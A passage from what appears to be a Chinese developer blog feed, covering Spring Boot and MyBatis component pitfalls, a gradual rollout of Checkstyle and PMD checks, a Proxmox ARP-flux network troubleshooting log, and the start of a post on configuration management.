com.xxx.log.service.config.LogAutoConfiguration

业务方引入依赖后，dao 自动被扫描，零配置接入。这才是组件应该有的体验。

但自动配置也有要注意的地方。如果业务方自己也有 @MapperScan，两者会不会冲突？答案是：不会。MyBatis-Plus 的 @MapperScan 支持多次声明，多个扫描路径会被合并。但前提是不要在不同层级重复扫描同一个包，否则可能导致同一个 Mapper 被注册两次。

第三个坑：间接依赖的 dao 找不到

接下来是一个更隐蔽的问题。xxx-manage-service 示例项目报了一个错：

org.apache.ibatis.binding.BindingException: Invalid bound statement (not found):
com.xxx.user.api.dao.DictDao.getNormalDictMapByDictCodes

排查过程是这样的：

项目的依赖链是 xxx-manage-service → infrastructure-service-starter → user-api-service-starter。DictDao 在 user-api-service-starter 中，是通过 infrastructure-service-starter 间接引入的。

虽然 user-api-service-starter 有自己的自动配置类，但某些场景下没有正确生效。排查发现是 spring.factories 文件中的自动配置类名写错了——少写了一个字母，Spring Boot 加载的时候静默跳过，没有报任何错。

这是个教训：自动配置的声明一定要和实际类名一致。Spring Boot 不会因为找不到自动配置类而启动失败，它只会跳过。所以在写 AutoConfiguration.imports 或者 spring.factories 时，建议用 copy-paste 类全限定名（来自 IDE 的 Copy Reference），不要手敲。

修好自动配置后还有一个小细节：业务方的 mapper-locations 配置需要匹配组件的包路径：

mybatis-plus:
  mapper-locations: classpath*:com/xxx/**/*Dao.xml

关键是 classpath*: 前缀。因为组件的 XML 在 jar 包的 classpath 中，业务方代码在另一个 classpath 中，用 classpath* 才能扫描到多个 jar 中的 XML。

第四个坑：拦截器绑架

这个问题在之前的文章里已经提到过，但在 MyBatis 组件化这个话题下值得再说一遍。

MybatisAutoConfiguration 中同时装配了加密拦截器和分页拦截器：

@Bean
@ConditionalOnMissingBean(MybatisPlusInterceptor.class)
public MybatisPlusInterceptor paginationInterceptor(...) {
    MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
    interceptor.addInnerInterceptor(new EncryptionInterceptor(encryptService));
    interceptor.addInnerInterceptor(new PaginationInnerInterceptor(dbType));
    return interceptor;
}

条件注解是：

@ConditionalOnProperty(prefix = "secret.mybatis", name = "enable", havingValue = "true")

也就是说，不开加密就没有分页。这两个功能没有逻辑上的关联，纯粹是在同一个方法里创建的。

分开的改法也很直接：

// 加密拦截器 —— 受配置控制
@Bean
@ConditionalOnProperty(prefix = "secret.mybatis", name = "enable", havingValue = "true")
public EncryptionInterceptor encryptionInterceptor(EncryptService encryptService) {
    return new EncryptionInterceptor(encryptService);
}

// 分页拦截器 —— 独立存在
@Bean
public PaginationInnerInterceptor paginationInnerInterceptor(
        MybatisPlusExpandProperties properties) {
    PaginationInnerInterceptor interceptor = new PaginationInnerInterceptor(properties.getDbType());
    interceptor.setMaxLimit(properties.getMaxLimit());
    return interceptor;
}

不止如此，加密拦截器本身也值得优化。它用反射检查每个入参是否有 @EncryptedTable 注解，每次查询/更新都做一遍：

// 当前实现：每次操作都走反射
private boolean annotateWithEncrypt(Class<?> objectClass) {
    return AnnotationUtils.findAnnotation(objectClass, EncryptedTable.class) != null;
}

高频调用场景下，反射是瓶颈。加一层缓存：

private final Map<Class<?>, Boolean> encryptClassCache = new ConcurrentHashMap<>();

private boolean annotateWithEncrypt(Class<?> objectClass) {
    return encryptClassCache.computeIfAbsent(objectClass, clazz ->
        AnnotationUtils.findAnnotation(clazz, EncryptedTable.class) != null);
}

同理，加密字段的反射查找也可以缓存：

private final Map<Class<?>, List<Field>> encryptFieldCache = new ConcurrentHashMap<>();

private List<Field> getEncryptFields(Class<?> clazz) {
    return encryptFieldCache.computeIfAbsent(clazz, this::findEncryptFields);
}

改完之后，加密拦截器对数据库操作的性能影响降低了一个数量级。缓存的 key 是 Class 对象，内存占用极小，生命周期和 JVM 一致。

第五个坑：`@Configuration` 和 `@AutoConfiguration` 的微妙差别

这个问题不是 MyBatis 特有的，但确实是在排查 MyBatis 自动装配相关问题时踩出来的。

框架里有各种自动装配类，有的用 @Configuration，有的用 @AutoConfiguration。它们都能让 Bean 被 Spring 容器管理，但在 Spring Boot 3.x 中，两者的行为有了关键差异。

先看一个具体场景。2.1.0 版本的网关启动类是这样的：

@SpringBootApplication(scanBasePackages = {"com.sctelcp"},
    exclude = {DataSourceAutoConfiguration.class, AjCaptchaAutoConfiguration.class})
@EnableFeignClients(basePackages = {"com.sctelcp"})
@EnableDiscoveryClient
public class GateWayBoot { ... }

用 exclude 排除了 AjCaptchaAutoConfiguration，在当时一切正常。但升级到 Spring Boot 3.x 后启动报错：

java.lang.IllegalStateException: The following classes could not be excluded
because they are not auto-configuration classes:
    - com.anji.captcha.config.AjCaptchaAutoConfiguration

原因很简单：AjCaptchaAutoConfiguration 用的是 @Configuration，而不是 @AutoConfiguration。Spring Boot 3.x 不再把 @Configuration 视为自动装配类，exclude 属性不认它了。

修法是用 @ImportAutoConfiguration 的 exclude 来排除：

@EnableFeignClients
@SpringBootApplication(exclude = {DataSourceAutoConfiguration.class})
@ImportAutoConfiguration(exclude = {AjCaptchaAutoConfiguration.class})
public class GatewayApplication { ... }

那 @Configuration 和 @AutoConfiguration 到底该怎么选？规则其实很清晰：

@AutoConfiguration 用在 starter 组件中，配合 META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports 文件使用。它的加载时机由 Spring Boot 的自动配置机制控制，可以使用 @ConditionalOnClass、@ConditionalOnMissingBean 等条件注解来控制是否生效，也可以用 @AutoConfigureBefore / @AutoConfigureAfter 控制加载顺序。
@Configuration 用在微服务自身的配置类中，由 @SpringBootApplication 的组件扫描发现并加载。它不走 AutoConfiguration.imports 文件。

一个容易犯的错误是：在 starter 中用了 @Configuration 而不是 @AutoConfiguration，然后期望业务方用 exclude 排除它——在 Spring Boot 3.x 中这会失败。反过来，如果你的配置类只需要在特定微服务中生效，用 @Configuration 就够了，不需要写 AutoConfiguration.imports 文件。

实践中还有一个值得注意的点：@AutoConfiguration 是 Spring Boot 2.7 引入的，它和旧的 spring.factories 机制可以共存，但 AutoConfiguration.imports 是推荐的写法。如果你在维护一个同时支持 2.x 和 3.x 的组件，需要两套都保留。

第六个坑：逻辑删除 + 唯一索引 = 冲突

框架里用了 MyBatis-Plus 的逻辑删除功能，配置如下：

mybatis-plus:
  global-config:
    db-config:
      logic-delete-field: delFlag
      logic-delete-value: 1
      logic-not-delete-value: 0

数据不会被物理删除，delFlag 置为 1 就算删了。MyBatis-Plus 会自动在查询时加上 WHERE delFlag = 0，对业务代码透明。

但和唯一索引配合使用时，问题就来了。

以用户表为例，username 必须唯一。最直观的做法是加唯一索引：

CREATE UNIQUE INDEX uni_username ON user(username);

现在有一个用户 zhangsan，被逻辑删除后 delFlag = 1。如果业务上要再创建一个叫 zhangsan 的用户，唯一索引会直接报 Duplicate entry——因为 username = 'zhangsan' 的记录还在表里，只是被标记为删除了。

于是换成联合唯一索引：

CREATE UNIQUE INDEX uni_username_delflag ON user(username, delFlag);

这样 ('zhangsan', 0) 只能有一条——未删除的用户名依旧唯一。而 ('zhangsan', 1) 可以和 ('zhangsan', 0) 共存——已删除的同名用户不影响新用户创建。

但新的问题又出现了。如果数据库中已经存在被删除的 ('zhangsan', 1)，而业务逻辑再次对这个用户执行删除操作，就会尝试将 delFlag 从 1 更新为 1——SQL 执行没问题，但联合唯一索引的约束是 (username, delFlag)，两次删除会尝试写入相同的 ('zhangsan', 1')，触发唯一索引冲突。

根本原因是 delFlag 的值对于所有已删除记录都是相同的 1，违反了唯一性。解决思路是让每个已删除记录的 delFlag 值都唯一——用行 ID：

@TableLogic(value = "0", delval = "id")
private Long delFlag;

同时修改 DDL：

-- 原来
`del_flag` smallint NOT NULL DEFAULT '0' COMMENT '是否删除 0:否; 非0:是'

-- 改为
`del_flag` bigint NOT NULL DEFAULT '0' COMMENT '是否删除 0:否; 非0:是'

这样一来，删除时 delFlag 被设置为该行的 id，每条已删除记录的 delFlag 都不同，联合唯一索引不会冲突。查询时，MyBatis-Plus 自动拼接 WHERE del_flag = 0，逻辑删除语义不变。

这引出了一个更普遍的问题：框架没有对 PO 实体做字段抽象。 delFlag、createTime、updateTime 这类公共字段，每个数据库实体都要写一遍。后期如果要加一个公共字段，所有 PO 都要改。合理的做法是抽一个父 PO 让所有实体继承：

@Data
public abstract class BasePO {
    @TableLogic(value = "0", delval = "id")
    private Long delFlag;

    @TableField(fill = FieldFill.INSERT)
    private LocalDateTime createTime;

    @TableField(fill = FieldFill.INSERT_UPDATE)
    private LocalDateTime updateTime;
}

另外，像 delFlag 这种只有 0 和非 0 两种状态的字段，用 bigint（8 字节）其实浪费了。建议 DDL 中用 tinyint（1 字节），但配合 @TableLogic(delval = "id") 时需要和 Java 类型一致——如果 delval 要取 id 的值（通常是 bigint），那字段类型就需要是 bigint。这是一个取舍：用 tinyint + delval = 1 可以省存储，但要承受上面说的联合唯一索引冲突问题。用 bigint + delval = "id" 占空间稍多，但消除了唯一索引冲突。我个人倾向后者——存储成本远低于 bug 修复成本。

Feign 接口的整理：一个被遗忘的角落

这七个坑之外，还有一个不算坑但值得提的——Feign 接口的组织。

框架中有多达 9 个 Feign 接口声明，分别对应不同的远程服务：

@FeignClient(contextId = "securityUserAuthService", 
    value = "${framework.core-service.user-auth-service:auth-service}", 
    path = "/user/auth",
    fallbackFactory = AuthenticationServiceFactory.class)
public interface AuthenticationService { ... }

@FeignClient(contextId = "infrastructureService",
    value = "${framework.core-service.infrastructure-service:infrastructure-service}",
    path = "/infrastructure/api",
    fallbackFactory = InfrastructureServiceFallBackFactory.class)
public interface InfrastructureService { ... }

这些接口散落在不同的包中，没有一个统一的归纳文档。新同事要了解服务间的依赖关系，得把所有 Feign 接口的地方搜一遍。

在跨模块协作时，这个问题会被放大。A 组的服务改了接口签名，B 组引了对应的 Feign 接口但没有同步更新，运行时 404 或者参数错位。因为 Feign 接口只在编译期做类型检查，运行时的契约一致性是需要额外机制保证的。

理想情况下，Feign 接口应该由服务提供方以独立 jar 的形式发布——类似于 SDK。服务提供方改了接口，SDK 发一个新版本，消费方升级依赖，编译期就能发现不兼容的变更。但在项目型组织中，这种方式目前的性价比不高——服务数量不够多，单独发布 SDK 的维护成本可能超过收益。暂无完美方案，至少先把所有 Feign 声明整理到一个文档里，让服务依赖关系清晰可见。

这篇和下一篇（网关性能调优）是这个系列的收尾。网关那篇会聚焦实际问题——Nginx Cannot assign requested address 是怎么引发的、keepalive 怎么配、内核参数怎么调。都是上线后才知道的事。

代码质量保障，从零到强制检查

Sat, 28 Feb 2026 00:00:00 GMT

推行代码检查，最难的不是技术

代码质量保障是个经典话题。Checkstyle 做格式检查，PMD 做逻辑缺陷检查，SonarQube 做全方位的代码质量度量——这三件套怎么用，网上文档很全。

但真正的挑战从来不是”怎么配置这些工具”，而是怎么让一个已经运行了两年的、代码量不小的、团队成员流动频繁的项目接受”强制代码检查”。

想象一下这个场景：你在 CI 管道里加上了 Checkstyle，规则用的是 Google Java Style。第二天，所有 MR 都挂了——不是代码逻辑有问题，而是缩进不对、命名不规范、缺少 Javadoc。开发 leader 来找你：“能不能先关掉，这个需求很急。“你说不能。他说那就先降级为 warn。

然后这个 warn 就永远是 warn 了。没人看 warn。

这不是假设，这就是大部分项目型组织中推行代码质量工具的真实路径。所以我花了大量时间思考的不是”选哪个工具”，而是”怎么让别人愿意用”。

工具分工：各干各的，互相补充

先简单过一下三件套的定位。

Checkstyle 管格式。缩进是 4 个空格还是 tab？大括号是同行还是换行？类名是大驼峰还是什么？这些东西和逻辑无关，和审美有关。但审美不统一，代码仓库看起来就永远像多个人写的——虽然确实是多个人写的，但读代码的人不应该感知到这一点。

规则直接基于 Google Java Style，再做项目级调整。比如行长度限制设 140 字符而不是默认的 100——别问为什么，问就是团队共识。

PMD 管逻辑。它基于 AST（抽象语法树）分析代码，找的是真正的 bug 模式——循环里用 += 拼接字符串、用 == 比较字符串、SimpleDateFormat 当静态变量用、ThreadLocal 不调 remove。这些不是格式问题，是线上事故的种子。

PMD 的规则比 Checkstyle 更容易引起争议。因为格式问题可以靠”格式化一下就行”解决，但 PMD 报的问题有时需要改逻辑——比如把 String result = ""; for (...) result += item; 改成 StringBuilder。开发者会说”这里循环体量很小，不会有性能问题”。你说得对，但规则不讲感情，规则讲一致性。

SonarQube 管全局。它不是检查单行代码，而是从项目维度看代码质量——可靠性（Bugs）、安全性（Vulnerabilities）、可维护性（Code Smells）、测试覆盖率、重复率、复杂度。它有一个核心概念叫 “Clean as You Code”——不强求一次性修复所有历史债务，但要求新增代码达到质量标准。

这个理念在老旧项目中特别实用。你面对一个几十万行代码的项目，让团队花三个月把 Checkstyle 的几千个 warning 全修完？不现实，也没人愿意干。但”从今天开始，新增代码和修改代码必须通过检查”——这个要求是合理的，也是可以执行的。

怎么让规则不惹人烦

规则配置是推行成败的关键。配得太严，团队反弹；配得太松，等于没配。

我定的规则集中放在一个独立的 checkstyle-rules 模块中，通过 Maven 依赖的方式提供给所有业务项目。这样改一次规则，所有项目自动生效：

common-parent/
├── checkstyle-rules/
│   └── src/main/resources/
│       ├── checkstyle/
│       │   ├── checkstyle.xml
│       │   └── checkstyle-suppressions.xml
│       └── pmd/
│           ├── pmd-ruleset.xml
│           ├── concurrent.xml    # 线程池、锁、ThreadLocal 规则
│           ├── exception.xml     # 异常处理规则
│           ├── naming.xml        # 命名规则
│           ├── oop.xml           # 面向对象规则
│           └── set.xml           # 集合操作规则

PMD 的规则我按类型拆了十几个文件，但真正启用的是这六类：

concurrent.xml：手动创建线程、Executors 工具类创建线程池、静态 SimpleDateFormat、ThreadLocal 未 remove。这些是”写对了是运气，写错了是事故”的问题。

exception.xml：finally 块中使用 return、事务没有 rollbackFor。都是静默破坏流程的写法。

naming.xml：类名、方法名、变量名、包名、抽象类以 Abstract 开头、异常类以 Exception 结尾、测试类以 Test 结尾。如果连名字都统一不了，就别谈规范了。

oop.xml：== 比较字符串、== 比较包装类型、循环中 String 拼接、BigDecimal 用 double 构造。

set.xml：foreach 中修改集合、Arrays.asList 后修改、集合初始化不指定容量。

other.xml：方法中编译正则表达式、使用 Apache BeanUtils、浮点数直接比较。

Checkstyle 的检查先于 PMD 执行。为什么？因为格式问题占了 80% 的违规，如果格式都没过，就别浪费 PMD 的时间了。

<!-- 父 POM 中的配置 -->
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-checkstyle-plugin</artifactId>
    <version>3.3.1</version>
    <configuration>
        <configLocation>checkstyle/checkstyle.xml</configLocation>
        <failOnViolation>true</failOnViolation>
        <includeTestSourceDirectory>false</includeTestSourceDirectory>
    </configuration>
    <executions>
        <execution>
            <id>validate</id>
            <phase>validate</phase>
            <goals><goal>check</goal></goals>
        </execution>
    </executions>
    <dependencies>
        <dependency>
            <groupId>com.xxx</groupId>
            <artifactId>checkstyle-rules</artifactId>
            <version>${framework.version}</version>
        </dependency>
    </dependencies>
</plugin>

编译时不通过就 fail fast。不搞 warn，只搞 error。warn 没人看，error 才有人修。

IDE 集成

CI 检查是最后的防线，但最好的检查是在代码还没提交的时候就发现问题。

Checkstyle 在 IntelliJ IDEA 中有官方插件，安装后指向项目中的 checkstyle.xml，写代码的时候就能看到波浪线提示。PMD 也有插件，但我没强制推广——PMD 的问题量少，编译前统一处理即可。插件太多也会拖慢 IDE。

另一个关键配置是 IDEA 的代码风格文件。把团队统一的风格配置导出为 codestyle.xml，放在仓库里，新成员加入时导入一下就行。缩进、空格、换行这些格式问题，80% 可以通过 IDE 自动格式化解决。

但这有个问题：IDE 的配置文件会过时。你在仓库里放了一份 codestyle.xml，三个月后 IDE 升级了，或者团队调整了规则，文件没更新。更理想的方式是通过 IDEA 插件来管理代码风格——类似 checkstyle-rules 模块的思路，插件按需从远程拉取最新的规则。不过这是长期规划的事了。

给特殊情况留后路

规则不可能覆盖所有场景。有些代码生成器生成的代码，风格和手动写的完全不同。有些测试方法名确实需要很长。这些情况需要通过抑制机制来处理。

被动的抑制：在 checkstyle-suppressions.xml 中配置全局排除规则：

<suppressions>
    <!-- 排除生成的代码 -->
    <suppress files=".*[/\\]target[/\\].*" checks=".*"/>
    <!-- 测试类不检查 Javadoc -->
    <suppress files=".*Test\.java$" checks="JavadocMethod"/>
</suppressions>

主动的抑制：代码中注解标记：

@SuppressWarnings("checkstyle:LineLength")
private static final String LONG_CONSTANT = "...";

@SuppressWarnings("PMD.UnusedLocalVariable")
public void specialMethod() { ... }

关键是抑制必须有明确原因。code review 时看到 @SuppressWarnings 就要问：为什么要抑制？有没有更好的写法？抑制不是偷懒许可证。

紧急情况下的逃生舱

生产环境出问题，需要紧急修复，代码检查可能成为阻碍。这是合理的担忧。解决方式是在 Maven 命令中允许跳过：

# 紧急部署时跳过所有代码检查
mvn clean deploy -Dcheckstyle.skip=true -Dpmd.skip=true

但跳过是例外，不是常态。每次跳过都应该有记录。你可以在 CI 管道里加一个简单的审计——检测到跳过参数时，自动发一条消息到团队群：“注意：XX 服务本次部署跳过了代码检查。”

推行的节奏：先小后大

回到开头的话题——怎么让别人接受。

我大概花了三个月做渐进式推行。第一个月，只在框架本身的模块中启用 Checkstyle，不做 PMD。让团队先习惯”构建可能因为格式问题失败”这件事。

第二个月，在修复了框架自身的问题后，向一个业务模块试点。同时提供 IDEA 配置文件和一键格式化指南——“如果你想在提交之前就解决大部分问题，导入这个文件然后 Ctrl+Alt+L”。

第三个月，全面推广到所有模块，同时启用 PMD。PMD 的初始规则只保留了并发、异常处理、集合操作这三类——选最能防 bug 的，不选最全的。规则集在后续版本中逐步增加。

这个节奏的核心原则是：让团队先感受到工具带来的好处，再增加工具的约束力。如果一上来就扔三百条规则，团队只会觉得你在给他们添麻烦。但如果他们先发现”咦，PMD 帮我发了一个潜在的 NPE”，接受度就完全不同了。

写到这里，整个系列已经覆盖了架构全景、工程规范、Response 设计、缓存重构、配置管理、代码质量——这些都是研发底座的”软”层面。下一篇也是最后一篇，聊点”硬”的：微服务网关的性能调优，从 context-path 设计到 Nginx 内核参数，都是线上真实踩过的坑。

PVE 万兆网卡只跑 1G？一次 ARP Flux 的完整排查记录

Wed, 18 Feb 2026 00:00:00 GMT

背景

起因是家里 Homelab 的一台 NUC 升级，给它加了张 Intel X520-2 双口万兆，顺手把 NAS（DS923+）那边也换上了万兆。理论上这套组合应该是”一步到位、全屋万兆起飞”的那种。

但真正测下来，iperf3 从 NUC 打到 NAS 只有大概 950Mbps。

ethtool enp2s0f0 明明写着 Speed: 10000Mb/s 和 Link detected: yes，我盯着那一行看了半天。硬件、线缆、交换机、NAS 全都换过交叉验证过，问题死死卡在这台 NUC 上。

最后折腾下来才发现根本不是硬件的锅，是 Linux 网络里一个经典得不能再经典的坑：ARP Flux——多张网卡挂在同一个子网里，彼此抢答 ARP，导致流量走错路径。

这篇文章把完整的排查链路、每一步的命令和我当时的判断都写出来，既是给未来的自己留个底，也希望你以后踩到类似问题时能少走一圈弯路。

环境说明

先把桌面摆开，这台 NUC 上一共挂了 4 张网卡：

接口	IP	类型	Bridge
enp2s0f0	192.168.31.99	Intel X520 10G	vmbrt
enp2s0f1	192.168.21.99	Intel X520 10G	vmbru
enp92s0	192.168.31.9	主板 2.5G	vmbr0
enx00e04c68bbcf	192.168.21.9	USB 2.5G	vmbr1

目标很朴素：192.168.31.99（10G）作为主网卡连 NAS（DS923，192.168.31.2），192.168.31.9 做管理备用，两个都在 192.168.31.0/24 这个网段里。

为什么要这么摆？因为我希望管理网和存储网分别走不同的物理口，同时又懒得单独规划网段，就想着”反正都是 31 网段，系统会自己选最快的那个吧”。

这种想当然，后面吃了大亏。

问题现象

直接上 iperf3 做对比，横向看两台机器打同一台 NAS 的速度：

测试机	目标	结果
PVE（192.168.31.9）	192.168.31.2	~950 Mbps（不对劲）
另一台万兆机器（192.168.31.6）	192.168.31.2	~9.3 Gbps（正常）

两台机器都是单线程 iperf3，NAS 端没任何特殊配置。既然另一台万兆能干到接近 10G，说明 NAS、交换机、线缆都没问题，瓶颈就在 NUC 自己。

第一轮排查：硬件

ethtool 明明协商到 10G，按常规思路先把硬件层扫一遍。

1. 驱动和型号

$ ethtool -i enp2s0f0
driver: ixgbe
bus-info: 0000:02:00.0

Intel 82599ES / X520-2，ixgbe 驱动，都在预期内，没什么奇怪的。

2. PCIe 链路宽度

$ lspci -vv -s 02:00.0 | grep -i width -A2
LnkCap: Port #0, Speed 5GT/s, Width x8
LnkSta: Speed 5GT/s, Width x4 (downgraded)

这里有点意思，理论 x8 实际跑在 x4（downgraded）。算一下 PCIe 2.0 x4 的理论带宽大约 16Gbps，跑 10G 足够，不构成瓶颈，所以暂时不追这条线。

顺便提一句，NUC 的 M.2 转接卡压到 x4 是常见现象，见得多了也就不奇怪。

3. 队列数量

$ ethtool -l enp2s0f0
Current hardware settings:
Combined:       16

16 个队列，CPU 足够，不会单核瓶颈。

4. 中断分布

$ cat /proc/interrupts | grep ixgbe

这一条反而最关键——空的。

按理说只要流量真的在这张卡上跑，ixgbe 的中断计数肯定会噌噌往上涨。现在一条都没有，这是一个非常强的信号：流量压根没从这张卡上走。

当时我还没完全反应过来，以为是中断被绑到别的 CPU 或者 IRQ balance 出了问题，后来才知道是真字面意义上的”没流量”。

5. MTU

已配置 MTU 9000，和 NAS 对齐，这一项也正常。

第一轮扫完的结论：硬件没问题。

第二轮排查：是不是测错了接口

默认路由挂在 vmbr0（2.5G 那张），192.168.31.9 也绑在 vmbr0 上。于是很自然地有个怀疑：iperf 根本没走 10G 那张卡，流量被默认路由吸到 2.5G 去了。

强制绑源地址再测一遍：

iperf3 -c 192.168.31.2 -B 192.168.31.99

结果还是 ~950 Mbps。源 IP 都绑定到万兆那一侧了，速度却完全没变，说明问题不是”走错接口”这么表层。

同时看一眼网卡的 byte 计数：

$ ip -s link show enp2s0f0
    RX:  57859644 bytes
    TX:      9065 bytes

iperf 作为 client 主要是发数据，理论上 TX 应该疯狂增长。但 TX 几乎不动，只有 RX 在涨。结合前面 /proc/interrupts 为空，结论已经很清楚：

iperf 发出去的包，没有真正从这张 10G 口出去，而是被路由到别的接口了。

第三轮排查：能不能把 2.5G 口 down 掉

为了验证是不是和 2.5G 口抢路径，我手贱试了一下：

ip link set enp92s0 down

下一秒 PVE 管理台立刻断开，因为我是通过 192.168.31.9 这个地址连进来的，管理流量走 vmbr0 → enp92s0。这一下虽然没解决问题，但是副产品：

坐实了管理流量确实走 2.5G 口。

然后赶紧切到服务器前面接显示器 up 回来，以后这种验证改用更安全的手法，不能这样莽。

破案：看邻居表

转折点在这一条命令上。既然流量路径选择不对，那就直接看二层邻居表：

$ ip neigh show 192.168.31.2
192.168.31.2 dev vmbr0 lladdr 02:76:c6:01:27:e4 STALE
192.168.31.2 dev vmbrt lladdr 02:76:c6:01:27:e4 STALE

看到这一行我就乐了。同一个 IP、同一个 MAC，同时出现在 vmbr0 和 vmbrt 两个接口上，这就是教科书级别的 ARP Flux。

再看路由表确认一下：

$ ip route
default via 192.168.31.1 dev vmbr0 proto kernel onlink
192.168.31.0/24 dev vmbr0 proto kernel scope link src 192.168.31.9
192.168.31.0/24 dev vmbrt proto kernel scope link src 192.168.31.99

同一个 192.168.31.0/24 网段，在 vmbr0 和 vmbrt 两个接口上都有直连路由。这会带来几个后果：

两个接口都会应答 ARP 请求
邻居表里同一个 IP 出现在多个接口上
TCP 包可能从 10G 口发出去，回程却从 2.5G 口收（非对称路径）
吞吐被卡在 ~1G，也就是慢那一侧的速率

这里有个关键点我当时也想明白过来：**同网段通信不走默认路由，而是直接查邻居表选接口。**所以哪怕我把默认路由改到 vmbrt 上，只要邻居表里 192.168.31.2 还绑在 vmbr0，iperf 该走哪还走哪。

之前白费那些力气调路由 metric 的，全都是无用功。

验证

临时把 2.5G 那边的 IP 摘掉（注意不是 down 接口，只是把 IP 去掉），然后清邻居表重测：

ip addr del 192.168.31.9/24 dev vmbr0
ip neigh flush all
iperf3 -c 192.168.31.2

速度一下就冲到 9.x Gbits/sec。

到这一步，故事已经很明朗：问题不是硬件，是同网段双接口 + Linux 默认 ARP 行为带来的 Flux。

根本原因：Linux 和 macOS 的设计差异

这个差别挺有意思的，顺便展开说两句。

Linux 是多宿主模型（weak host model）：默认允许多接口同子网、多接口应答 ARP，方便也容易出事
macOS / BSD 是 strong host model：每个接口只响应自己 IP 的 ARP，多网卡挂同网段一般不会出这种事

这就解释了为什么同样的拓扑，Mac 上一切正常，Linux 上就会翻车。也解释了为什么你在 Mac 上调网卡优先级能生效，在 Linux 上却看不出效果——同网段根本不走默认路由，走的是邻居表。

我以前一直以为”多宿主”就是支持多网卡而已，这次算是结结实实理解了它在 ARP 层面的具体含义。

最终方案

梳一下目标：默认走 192.168.31.99（10G），另外三个 IP（192.168.31.9 / 192.168.21.9 / 192.168.21.99）都保留可用，四个网口全部在线，且两个子网也都保持原样。

1. 默认路由走 10G

把 gateway 配到 vmbrt（也就是万兆那个 bridge）上：

vmbrt: gateway 192.168.31.1

2. 为备用网卡配策略路由

默认路由走 10G 之后，从 192.168.31.9 这个备用 IP 出去的流量就没网关了。解决办法是按源 IP 加一条策略路由，让它走自己的桌面：

post-up ip rule add from 192.168.31.9 table 100
post-up ip route add 192.168.31.0/24 dev vmbr0 table 100
post-up ip route add default via 192.168.31.1 dev vmbr0 table 100
post-down ip rule del from 192.168.31.9 table 100
post-down ip route flush table 100

vmbr1、vmbru 同样操作，table 编号换成 101、102 之类就行。这些 post-up/post-down 钩子写在 /etc/network/interfaces 里，重启后能自动生效。

3. 关闭 ARP Flux（最核心的一步）

echo "net.ipv4.conf.all.arp_ignore=1"     >> /etc/sysctl.conf
echo "net.ipv4.conf.all.arp_announce=2"   >> /etc/sysctl.conf
echo "net.ipv4.conf.default.arp_ignore=1" >> /etc/sysctl.conf
echo "net.ipv4.conf.default.arp_announce=2" >> /etc/sysctl.conf
sysctl -p
ip neigh flush all

两个参数值得单独解释一下：

arp_ignore=1：只回答目标 IP 和接收接口 IP 匹配的 ARP 请求，也就是每个接口只为自己的 IP 回答 ARP
arp_announce=2：发出 ARP 请求时，源 IP 优先选择和接收接口在同一子网的地址

这两个加起来就是在告诉内核：各回各家，各找各妈，别抢答。

4. 验证

改完之后跑这几条：

ip route：默认路由应该是 default via 192.168.31.1 dev vmbrt
iperf3 -c 192.168.31.2：稳定在 9.x Gbits/sec
ip neigh show 192.168.31.2：只在一个接口上出现

到这里就完事了。我还特意复核过，这些改动只动了主机层的网络行为，容器接在哪个 bridge 上不用动，PVE 里每个 LXC 和 VM 的配置也都不用改。

排查路径总览

把整个过程按”排查动作 → 结论”列一张表，以后遇到类似现象可以照着跑：

排查项	结果
ethtool 协商	10000Mb/s，正常
驱动	ixgbe，正常
PCIe	x4，带宽足够
队列	16，正常
测错接口？	`-B 192.168.31.99` 仍 ~950M
`ip -s link` 的 TX	几乎不涨，流量没走 10G 口
`/proc/interrupts`	无 ixgbe 中断，佐证上一条
`ip neigh`	同一 IP 出现在 vmbr0 和 vmbrt 上
`ip addr del` 验证	删掉 31.9 后瞬间 9G+
最终方案	`arp_ignore` + `arp_announce` + 策略路由

一些经验

同网段挂多张物理接口，在服务器环境下风险很大。管理网、存储网、业务网尽量分网段，Homelab 也一样
Linux 不是 Mac，多宿主行为默认开放，多网卡同网段一定要配 arp_ignore + arp_announce，否则迟早踩 Flux
协商 10G 但只跑 900M 出头的时候，不要第一时间怀疑硬件，优先排查：
- ip neigh：同一 IP 是不是挂在多个接口上
- ip -s link 的 TX 计数：看流量到底有没有真从目标网卡出去
- ip route：同网段是不是有多条直连路由
- /proc/interrupts：目标网卡的中断有没有在涨
多网卡 + 同子网 + 同交换机的组合，记住这个口诀：要么分网段，要么策略路由 + arp_ignore

网络问题里，很多时候不是硬件的锅，是拓扑设计的锅。硬件给你开了一条 10 车道的高速路，但你在入口放了一堆错的路标，车当然开不快。

配置管理，从 @Value 到 ConfigurationProperties

Mon, 16 Feb 2026 00:00:00 GMT

配置管理，最容易被做烂的事

在所有研发底座的能力中，配置管理是最”不起眼”的。它不产生业务价值，不影响接口性能，甚至改坏了也不会马上出问题——配置错误可能在被调用到的时候才暴露。

但正因为它不起眼，它也是最容易被做烂的。框架迭代了两年，不同的人在不同的时期添加不同的配置项，大家的命名习惯、组织方式、使用方式各不相同，最后就形成了一种”配置腐化”。

我接手的时候，框架的配置状况大概是这样的：

有的配置用 @Value 注入：

@Value("${spring.data.redis.enable:true}")
private boolean enable;

有的配置用 @ConfigurationProperties，但前缀混乱。开关配置一部分叫 enable，一部分叫 enabled：

secret:
  mybatis:
    enable: false        # 这里是 enable

gateway:
  log:
    access:
      enabled: false     # 这里是 enabled

业务方写配置的时候，得先在脑子里检索——这个模块到底用的是 enable 还是 enabled？检索不出来，就得去翻文档或者源码。这额外的几秒钟认知负担，在几十个配置项之间反复出现。

有些配置项之间互相依赖，但没有显式约束。比如 Redis 集群模式下必须配置 cluster.nodes，但如果忘了配，启动时不报错，等到第一次做集群操作时才发现连不上。

更让我难受的是配置的粒度问题。短信服务商类型用的居然是字符串：

sms:
  type: ryd

有人写 ryd，有人写 RYD，有人写 rongyida——同一种东西三种写法，排查问题的时候光定位配置不一致就要花半天。

第一步：统一入口

整改第一步，所有配置改用 @ConfigurationProperties，不再用 @Value。

为什么？不是 @Value 不能用，而是框架的配置体量决定了 @ConfigurationProperties 的收益更大。

@Value 的优势是轻量——一个注解就搞定。但它没法做结构化表达，没法校验，IDE 不提示。

@ConfigurationProperties 把这些短板全补上了。以缓存组件为例，原来散落在四五个类里的 @Value 全部收敛到一个类中：

@Data
@ConfigurationProperties(prefix = "framework.cache")
@Validated
public class CacheProperties {

    private boolean enabled = true;

    @NotNull(message = "缓存实现类型不能为空")
    private String implementation = "redisson";

    private String keyPrefix = "";

    @DurationMin(seconds = 1)
